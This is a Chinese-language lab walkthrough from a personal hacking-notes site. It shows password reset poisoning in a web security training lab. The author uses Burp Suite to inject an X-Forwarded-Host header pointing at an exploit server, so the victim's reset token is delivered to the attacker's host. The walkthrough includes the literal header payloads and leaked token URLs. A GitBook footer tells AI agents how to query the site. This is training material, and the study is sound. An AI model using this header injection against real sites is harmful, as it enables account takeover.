> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/authentication/password-reset-poisoning-via-middleware.md).

# 通过中间件进行密码重置投毒

### 通过中间件进行密码重置毒化

本实验室易受到以下攻击： **密码重置毒化**. / 用户 **carlos** 系统地点击他收到的电子邮件中包含的链接。

最终目标： **访问 carlos 账户**.

* 有效凭据：
* `wiener:peter`
* 发送到我们账户的电子邮件可通过利用服务器上的\*\*电子邮件客户端\*\*访问。

<figure><img src="/files/dcaca1e1af79e3f3c215538e8539928f29766cd2" alt=""><figcaption></figcaption></figure>

密码重置功能可访问，并允许输入用户名。

<figure><img src="/files/d92e688e074f5f0f689fdd914ee5364415810a5c" alt=""><figcaption></figcaption></figure>

当你使用我们自己的账户（`wiener`）发起重置请求时，会发送一封包含此类链接的电子邮件：

{% code overflow="wrap" %}

```bash
https://0a45005104c7f2228168b62400a90036.web-security-academy.net/forgot-password?temp-forgot-password-token=wadsb5f13habt0byz2ifrf68srpga96p
```

{% endcode %}

<figure><img src="/files/8d37760afd51fdd873d20c66a0caaea669615673" alt=""><figcaption></figcaption></figure>

此链接会重定向到一个页面，用于使用临时 **令牌**.

<figure><img src="/files/cb49a0acfb4cfb891b109dafbc201c82c9035ee3" alt=""><figcaption></figcaption></figure>

**通过 Burp Suite 进行操纵测试**

通过拦截密码重置请求，使用 **Burp Suite**，我们添加以下 HTTP 头：

```http
X-Forwarded-Host: test.com

username=wiener
```

收到的电子邮件仍然包含有效令牌，但\*\*l

<figure><img src="/files/54a5e9412962377b077c1b994d4620f3951dc516" alt=""><figcaption></figcaption></figure>

这表明应用程序\*\*信任 `X-Forwarded-Host`\*\* 头部来生成重置链接。

```http
X-Forwarded-Host: exploit-0af100e80420f2c381b0b5a301a8008c.exploit-server.net

username=carlos
```

**在受害者身上实施利用**

重复该攻击，这次目标是 **carlos** 并使用以下 URL： **利用服务器**

一封包含重置链接的电子邮件被发送给 carlos **托管在我们的利用服务器上**，带有一个有效的 **令牌**:

```bash
/forgot-password?temp-forgot-password-token=r5jf8u0c48zh54pgoqx8jol619pboi3i
```

<figure><img src="/files/6c5d3a149ec9a146b2a713f43327e97283b0fe04" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/authentication/password-reset-poisoning-via-middleware.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
